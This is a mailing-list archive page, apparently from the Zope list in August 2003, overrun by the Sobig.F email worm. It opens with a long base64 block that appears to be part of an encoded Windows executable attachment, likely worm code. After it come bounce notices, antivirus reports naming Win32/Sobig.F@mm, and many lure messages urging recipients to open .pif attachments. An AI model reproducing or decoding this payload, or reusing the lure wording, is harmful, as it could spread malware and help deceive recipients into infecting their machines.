>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 >GqHGJopY8DuXizzHHrTLVM2a0xuVw6v9SSTGJ+ALMNIb88sxzjaTBLvPMNMFvt1bzZXcV4mMvbJV >Jc1p9QsryhunzDmmUtcMtt4+0gmplVWOsN8WgsOp/ktwwTvxSjPDB7rHINh40QyyxCvQTKnMG4O1 >1BDQl6D7VHDTO/tMKtIF8qkdxSzWDqbCLcxMuNEQjreaEZGKpPdDcYMd/EIrky66xTGLMNIa9Mk8 >0AL71BqJtdwelYfmny0CxijnRDaTBbrOPN940Qz0ynnFA6jKHI+w31eGirrnVHDKJ/JOO8cBvMd1 >q4sjiRR9UgVZOmKWENpaYm0AAAkJCAgKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALwAAABYQzAwMTgxNWQ= >--_NextPart_000_01048319-- The message you sent to @ could not be delivered. Either you misspelled your correspondent's name, or no longer exists in the domain. If you want more information, you can contact the postmaster at postmaster@. Please understand that we can not give emailaddresses from our customers. Kind Regards, The mail delivery system. From MAILER-DAEMON at aol.com Fri Aug 22 10:48:46 2003 From: MAILER-DAEMON at aol.com (Mail Delivery Subsystem) Date: Fri Aug 22 18:06:19 2003 Subject: [Zope] Returned mail: Service unavailable Message-ID: <200308221348.JAI14443@rly-xj06.mx.aol.com> The original message was received at Fri, 22 Aug 2003 09:48:22 -0400 (EDT) from [65.205.28.100] *** ATTENTION *** Your e-mail is being returned to you because there was a problem with its delivery. The address which was undeliverable is listed in the section labeled: "----- The following addresses had permanent fatal errors -----". The reason your mail is being returned to you is listed in the section labeled: "----- Transcript of Session Follows -----". The line beginning with "<<<" describes the specific reason your e-mail could not be delivered. The next line contains a second error message which is a general translation for other e-mail servers. Please direct further questions regarding this message to your e-mail administrator. --AOL Postmaster ----- The following addresses had permanent fatal errors ----- ----- Transcript of session follows ----- ... while talking to air-xj01.mail.aol.com.: >>> DATA <<< 554 TRANSACTION FAILED - Unrepairable Virus Detected. Your mail has not been sent. 554 ... Service unavailable -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/rfc822-headers Size: 644 bytes Desc: not available Url : http://lists.zope.org/pipermail/zope/attachments/20030822/59824f35/attachment-0001.bin From virus-log at focus.de Fri Aug 22 14:56:42 2003 From: virus-log at focus.de (System Anti-Virus Administrator) Date: Fri Aug 22 18:07:45 2003 Subject: [Zope] Virus found in sent message "Your details" Message-ID: Attention: . A Virus was found in an Email message you sent. This Email scanner intercepted it and stopped the entire message reaching it's destination. The Virus was reported to be: Win32/Sobig.F@mm Please update your virus scanner or contact your I.T support personnel as soon as possible as you have a virus on your system. Your message was sent with the following envelope: MAIL FROM: Zope@zope.org RCPT TO: webmaster@focus.de ... and with the following headers: From: To: Subject: Your details Date: Tue, 19 Aug 2003 22:31:17 +0200 The original message is kept in: a.scanner.um:/mail/scanner/tft/quarantine where the System Anti-Virus Administrator can further diagnose it. The Email scanner reported the following when it scanned that message: --- ---ravav results --- RAV AntiVirus command line for Linux i686. Version: 8.3.0. Copyright (c) 1996-2001 GeCAD The Software Company. All rights reserved. Searching for the engine in '/usr/local/rav8/'... Registered version. Scan engine 8.11 for i386. Last update: Tue Aug 19 09:32:18 2003 Scanning for 81518 malwares (viruses, trojans and worms). Scanning with following configuration: * checking all files! * checking inside archive files! * don't check for mail files! * heuristic scanning is activated! * integrity check is enabled! * don't use report file! /mail/s.../a.scanner.um10613249534393373 - OK /mail/s...13249534393373/attachment1.dat - OK /mail/s...m10613249534393373/details.pif Infected: Win32/Sobig.F@mm Scan results: Time: 0 second(s). Objects scanned: 3. New objects: 3 Infected: 1. Different virus bodies: 1. Files: 3. Directories: 1. Archives: 0. Packed: 0. Mail files: 0. Warnings: 0. --- From MAILER-DAEMON at relay1.tdcnorge.no Fri Aug 22 17:05:45 2003 From: MAILER-DAEMON at relay1.tdcnorge.no (Mail Delivery Subsystem) Date: Fri Aug 22 18:12:41 2003 Subject: [Zope] Returned mail: see transcript for details Message-ID: <200308221405.h7ME5j226000@relay1.tdcnorge.no> The original message was received at Fri, 22 Aug 2003 16:05:44 +0200 (MEST) from [62.97.227.98] ----- The following addresses had permanent fatal errors ----- (reason: 550 Requested action aborted: Message may contain a virus.) ----- Transcript of session follows ----- ... while talking to mail.konkurransetilsynet.no.: >>> DATA <<< 550 Requested action aborted: Message may contain a virus. 554 5.0.0 Service unavailable -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- An embedded message was scrubbed... From: Subject: Thank you! Date: Fri, 22 Aug 2003 16:04:18 +0200 Size: 708 Url: http://lists.zope.org/pipermail/zope/attachments/20030822/9870e32a/attachment-0001.eml From sales at panda.co.jp Fri Aug 22 18:00:48 2003 From: sales at panda.co.jp (sales@panda.co.jp) Date: Fri Aug 22 18:18:54 2003 Subject: [Zope] Re: That movie Message-ID: See the attached file for details From internett at ba.no Fri Aug 22 18:06:36 2003 From: internett at ba.no (internett@ba.no) Date: Fri Aug 22 18:20:40 2003 Subject: [Zope] Thank you! Message-ID: Please see the attached file for details. From ads at expedia.com Fri Aug 22 16:56:32 2003 From: ads at expedia.com (ads@expedia.com) Date: Fri Aug 22 18:22:27 2003 Subject: [Zope] Re: Re: My details Message-ID: See the attached file for details -------------- next part -------------- A non-text attachment was scrubbed... Name: document_9446.pif Type: application/octet-stream Size: 75511 bytes Desc: not available Url : http://lists.zope.org/pipermail/zope/attachments/20030822/3429e8ee/document_9446-0001.obj From info at tv2.no Fri Aug 22 18:21:21 2003 From: info at tv2.no (info@tv2.no) Date: Fri Aug 22 18:23:04 2003 Subject: [Zope] Re: Re: My details Message-ID: See the attached file for details From aagot.nilssen at tv2.no Fri Aug 22 19:52:16 2003 From: aagot.nilssen at tv2.no (aagot.nilssen@tv2.no) Date: Fri Aug 22 18:25:56 2003 Subject: [Zope] Thank you! Message-ID: See the attached file for details From MAILER-DAEMON at tv2.no Fri Aug 22 17:58:19 2003 From: MAILER-DAEMON at tv2.no (Mail Delivery System) Date: Fri Aug 22 19:06:06 2003 Subject: [Zope] Delayed Mail (still being retried) Message-ID: <20030822145819.0D4E6277458@scan1.tv2.no> This is the Postfix program at host scan1.tv2.no. #################################################################### # THIS IS A WARNING ONLY. YOU DO NOT NEED TO RESEND YOUR MESSAGE. # #################################################################### Your message could not be delivered for 24.0 hours. It will be retried until it is 5.0 days old. For further assistance, please send mail to The Postfix program : transport is unavailable -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/rfc822-headers Size: 450 bytes Desc: Undelivered Message Headers Url : http://lists.zope.org/pipermail/zope/attachments/20030822/c981c34e/attachment-0001.bin From bambs at web.de Fri Aug 22 17:57:12 2003 From: bambs at web.de (bambs@web.de) Date: Fri Aug 22 19:07:18 2003 Subject: [Zope] Re: Wicked screensaver Message-ID: Please see the attached file for details. -------------- next part -------------- A non-text attachment was scrubbed... Name: movie0045.pif Type: application/octet-stream Size: 72480 bytes Desc: not available Url : http://lists.zope.org/pipermail/zope/attachments/20030822/826c3a02/movie0045-0001.obj From kjell.helland at tv2.no Fri Aug 22 19:59:56 2003 From: kjell.helland at tv2.no (kjell.helland@tv2.no) Date: Fri Aug 22 19:12:22 2003 Subject: [Zope] Your details Message-ID: See the attached file for details From fjord at fjordimages.com Fri Aug 22 18:34:41 2003 From: fjord at fjordimages.com (fjord@fjordimages.com) Date: Fri Aug 22 19:13:47 2003 Subject: [Zope] Re: Re: Details Message-ID: <1061556177.8582.blah> Thank you for visiting FjordImages. If you urgently need to contact me, pls try phone no.: +47 40 49 17 74 brgds Ola Moen FjordImages -------- Original Message -------- > See the attached file for details From info at shipping-publ.no Fri Aug 22 19:41:24 2003 From: info at shipping-publ.no (info@shipping-publ.no) Date: Fri Aug 22 19:15:03 2003 Subject: [Zope] Re: Thank you! Message-ID: See the attached file for details From sales at nero.com Fri Aug 22 19:42:34 2003 From: sales at nero.com (sales@nero.com) Date: Fri Aug 22 19:15:58 2003 Subject: [Zope] Re: Details Message-ID: See the attached file for details -------------- next part -------------- A non-text attachment was scrubbed... Name: application.pif Type: application/octet-stream Size: 74973 bytes Desc: not available Url : http://lists.zope.org/pipermail/zope/attachments/20030822/b1a67ea7/application-0001.obj From eivind.molde at nrk.no Fri Aug 22 19:40:23 2003 From: eivind.molde at nrk.no (eivind.molde@nrk.no) Date: Fri Aug 22 19:16:54 2003 Subject: [Zope] Re: Your application Message-ID: See the attached file for details From office at mbd-epson.ro Fri Aug 22 19:41:18 2003 From: office at mbd-epson.ro (office@mbd-epson.ro) Date: Fri Aug 22 19:18:00 2003 Subject: [Zope] Thank you! Message-ID: See the attached file for details -------------- next part -------------- A non-text attachment was scrubbed... Name: your_document.pif Type: application/octet-stream Size: 74726 bytes Desc: not available Url : http://lists.zope.org/pipermail/zope/attachments/20030822/fd944a9d/your_document-0001.obj From inet at microsoft.com Fri Aug 22 13:39:53 2003 From: inet at microsoft.com (inet@microsoft.com) Date: Fri Aug 22 19:18:53 2003 Subject: [Zope] Re: Thank you! Message-ID: See the attached file for details -------------- next part -------------- A non-text attachment was scrubbed... Name: movie0045.pif Type: application/octet-stream Size: 72865 bytes Desc: not available Url : http://lists.zope.org/pipermail/zope/attachments/20030822/f1fd2a17/movie0045-0001.obj From MAILER-DAEMON at tv2.no Fri Aug 22 19:38:24 2003 From: MAILER-DAEMON at tv2.no (Mail Delivery System) Date: Fri Aug 22 19:19:41 2003 Subject: [Zope] Delayed Mail (still being retried) Message-ID: <20030822163824.630DD277515@scan1.tv2.no> This is the Postfix program at host scan1.tv2.no. #################################################################### # THIS IS A WARNING ONLY. YOU DO NOT NEED TO RESEND YOUR MESSAGE. # #################################################################### Your message could not be delivered for 24.0 hours. It will be retried until it is 5.0 days old. For further assistance, please send mail to The Postfix program : transport is unavailable -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/rfc822-headers Size: 426 bytes Desc: Undelivered Message Headers Url : http://lists.zope.org/pipermail/zope/attachments/20030822/c2f94415/attachment-0001.bin From MAILER-DAEMON at tv2.no Fri Aug 22 18:15:06 2003 From: MAILER-DAEMON at tv2.no (Mail Delivery System) Date: Fri Aug 22 19:20:36 2003 Subject: [Zope] Delayed Mail (still being retried) Message-ID: <20030822151506.A5D70277467@scan1.tv2.no> This is the Postfix program at host scan1.tv2.no. #################################################################### # THIS IS A WARNING ONLY. YOU DO NOT NEED TO RESEND YOUR MESSAGE. # #################################################################### Your message could not be delivered for 24.0 hours. It will be retried until it is 5.0 days old. For further assistance, please send mail to The Postfix program : transport is unavailable -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/rfc822-headers Size: 442 bytes Desc: Undelivered Message Headers Url : http://lists.zope.org/pipermail/zope/attachments/20030822/e120ed81/attachment-0001.bin From soren.eriksen at tv2.no Fri Aug 22 19:38:19 2003 From: soren.eriksen at tv2.no (soren.eriksen@tv2.no) Date: Fri Aug 22 19:21:24 2003 Subject: [Zope] Re: That movie Message-ID: See the attached file for details From MAILER-DAEMON at tv2.no Fri Aug 22 19:05:19 2003 From: MAILER-DAEMON at tv2.no (Mail Delivery System) Date: Fri Aug 22 19:22:36 2003 Subject: [Zope] Delayed Mail (still being retried) Message-ID: <20030822160519.510782774E5@scan1.tv2.no> This is the Postfix program at host scan1.tv2.no. #################################################################### # THIS IS A WARNING ONLY. YOU DO NOT NEED TO RESEND YOUR MESSAGE. # #################################################################### Your message could not be delivered for 24.0 hours. It will be retried until it is 5.0 days old. For further assistance, please send mail to The Postfix program : transport is unavailable -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/rfc822-headers Size: 448 bytes Desc: Undelivered Message Headers Url : http://lists.zope.org/pipermail/zope/attachments/20030822/00f2fb6e/attachment-0001.bin From MAILER-DAEMON at tv2.no Fri Aug 22 19:38:14 2003 From: MAILER-DAEMON at tv2.no (Mail Delivery System) Date: Fri Aug 22 19:23:21 2003 Subject: [Zope] Delayed Mail (still being retried) Message-ID: <20030822163814.C7BA72774B5@scan1.tv2.no> This is the Postfix program at host scan1.tv2.no. #################################################################### # THIS IS A WARNING ONLY. YOU DO NOT NEED TO RESEND YOUR MESSAGE. # #################################################################### Your message could not be delivered for 24.0 hours. It will be retried until it is 5.0 days old. For further assistance, please send mail to The Postfix program : transport is unavailable -------------- next part -------------- Skipped content of type message/delivery-status-------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/rfc822-headers Size: 429 bytes Desc: Undelivered Message Headers Url : http://lists.zope.org/pipermail/zope/attachments/20030822/f81ef3be/attachment-0001.bin From webmaster at sweetloads.com Fri Aug 22 18:35:38 2003 From: webmaster at sweetloads.com (webmaster@sweetloads.com) Date: Fri Aug 22 19:24:29 2003 Subject: [Zope] Thank you! Message-ID: See the attached file for details -------------- next part -------------- A non-text attachment was scrubbed... Name: your_document.pif Type: application/octet-stream Size: 72536 bytes Desc: not available Url : http://lists.zope.org/pipermail/zope/attachments/20030822/ba202a62/your_document-0001.obj From kari.sorbo at nrk.no Fri Aug 22 19:36:56 2003 From: kari.sorbo at nrk.no (kari.sorbo@nrk.no) Date: Fri Aug 22 19:25:45 2003 Subject: [Zope] Re: That movie Message-ID: Please see the attached file for details. From info at asizip.com Fri Aug 22 19:35:46 2003 From: info at asizip.com (info@asizip.com) Date: Fri Aug 22 19:26:54 2003 Subject: [Zope] Re: That movie Message-ID: See the attached file for details From HOUSETL at bp.com Fri Aug 22 13:36:03 2003 From: HOUSETL at bp.com (HOUSETL@bp.com) Date: Fri Aug 22 19:28:06 2003 Subject: 